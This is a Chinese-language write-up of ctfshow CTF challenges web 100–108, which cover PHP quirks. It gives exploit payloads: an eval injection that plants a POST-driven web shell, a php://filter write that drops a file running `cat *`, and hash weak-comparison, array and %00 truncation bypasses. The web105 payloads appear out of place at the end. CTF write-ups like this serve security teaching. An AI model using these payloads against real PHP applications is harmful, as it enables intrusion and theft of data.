ctfshow web入门 php特性 100-108
100-103 代码相似,考察方向不同
104、106、107 需要了解哈希碰撞与弱比较
105、108 作为扩展
重点:
1、了解运算符优先级
2、了解反射类
3、了解哈希碰撞
4、了解可变变量
5、了解弱比较原理
6、了解 intval()、ereg() 函数与哈希加密算法函数(sha1、md5)缺点
web 100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){ //v2不能有 ; ,这里可以用 ?>代替
if(preg_match("/\;/", $v3)){ //v3必须有 ;
eval("$v2('ctfshow')$v3");
}
}
}
知识点
1、运算符优先级:赋值运算符 > 逻辑运算符,只要v1为数字就行,因此 v2 为此题突破点
2、命令执行漏洞(eval() 函数)
要求:v1要求为纯数字
v3含有 ;
payload
v1=2&v2=eval($_POST[a])?>%23&v3=;
flag如下,其中 0x2d 为符号 - 的 ASCII 码
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
知识点
类与反射类
要求:v1为数字,v2不能为特殊字符,v3不能为 ; 以外的特殊字符
payload
v1=1&v2=echo new ReflectionClass&v3=;
获取的 flag 需要将 0x2d 替换成 - ,同时此 flag 还差最后一位
flag 是由 16 进制组成,所以范围是 0~f,需要爆破(手动或脚本)
最多爆破 16 次,我试了十几次,运气不行
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
要求:v1 为函数名,v2 是三位以上的数字
知识点
1、file_put_contents() 与依次调用 fopen()、fwrite()、fclose() 三个函数的效果一致
同时 file_put_contents() 属于文件包含函数,应该想到伪协议,因此 v3 使用伪协议
2、is_numeric() 可以识别八进制、16进制、科学计数法
3、call_user_func($callback,$args)($callback:回调函数,$args:参数)
4、回调函数:简单理解为 把函数当作参数使用
简单测试一下
以输出函数 print()、echo()、print_r()、var_dump() 为例
#print 和 echo 会报错,原因在下面
#var_dump 和 print_r 则不会报错
#原因
#以 echo 为例,这是 vscode 给出的使用方法及定义(print同理)
# 可见 var_dump 使用方法与定义和 echo 完全不同(print_r同理)
#结论 print 和 echo 不是函数,而是语言结构,参考 php官方文档
再分析一下代码执行过程:
1、用 substr() 对 v2 从第2为进行截断,因此需要填充前两位
2、选择函数 v1 执行,参数为 v2
3、将执行结果打印并写入文件 v3
我们在 v3 使用伪协议获取 $str 的内容,而$str = call_user_func($v1,$s)
重点在于函数的选择,参数的内容,v2 必须是纯数字(八进制、十六进制、科学计数法),同时也为payload
因此,我们需要将 payload 转换成 16进制,
payload
#get
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
#post
# hex2bin() 将16进制转字符串为二进制字符串
v1=hex2bin
#v2 参数解释(可以不用 base64编码,转为16进制能满足 is_numeric() 函数就行)
#这里先base64编码,再转为16进制,恰好能满足 is_numeric() 函数限制
#对<?=`cat *`;进行base64编码为:PD89YGNhdCAqYDs=(删除=)
#将 PD89YGNhdCAqYDs 转换为16进制为:5044383959474e6864434171594473(科学计数法)
#前两使用 11 进行填充
访问1.php
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
仅在 web102 的基础上过滤 php
payload
同web102
web104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
考察哈希碰撞
1、哈希算法无法对数组加密
2、题目中使用弱比较,若两个变量加密后是 0e 开头的的哈希值,则相同
原因:== 与 ===区别
3、强碰撞
payload
#由于这题简单,两个参数赋予相同的值即可
#法二
#post
v1[]=1
#get
v2[]=1
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
知识点
1、foreach($_POST as $_key=>$_value) 解释为遍历$_POST数组内的元素,每组元素为一个键($key)对应一个值($value)的形式。
2、$$(可变变量)
举例
结果
过程:
$$q 等价于 $($q),因 $q = 'var_1',所以 $$q = $($q) = $var_1
又因 $$q = 'var_2'
所以 $var_1 = 'var_2'
分析:
重点在于$$的运用
一共使用了三次 die() 函数,第二次输出 $error,第三次输出 $suces
如果我们通过可变变量的使用,使 $error=$suces=$flag,则无论执行第二个 die() 还是第三个 die(),都可以获取 flag
法二、法三出自评论区 @牛码老大难,法一在编辑时出于疏忽,导致有点问题,在此感谢@牛码老大难指正
payload
web106
(web104的升级版)
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
要求:v1 、v2 值不同,sha1加密后相同
payload
#法一 get v2[]=1 post v1[]=2 #法二 sha1 碰撞
#sha1加密后均为 0e 开头,弱比较会被字母截断成0 get v2=10932435112 post v1=aaroZmOk
web107
(web106升级版)
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
知识点:
1、parse_str(string,array)用法
payload
#法一 弱类型比较 get v3=QNKCDZO post v1=flag=0 #法二 md5() 函数无法解析数组 get v3[]=1 post v1=
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
要求:c 为字母,不能有数字
知识点
1、ereg() 此函数已在 PHP 5.3.0 中弃用,并在 PHP 7.0.0 中删除(被正则函数替代)
ereg() 可被%00截断
intval() 可被字母截断
payload
c=a%00q778
法一:
GET suces=flag
POST error=suces
法二:
利用下列 die($error) 输出 flag
if(!$_POST['flag']==$flag){
die($error);
}
GET x=flag
POST error=x
法三:
flag 为空,绕过 if(!$_POST['flag']==$flag) 判断
GET suces=flag&flag=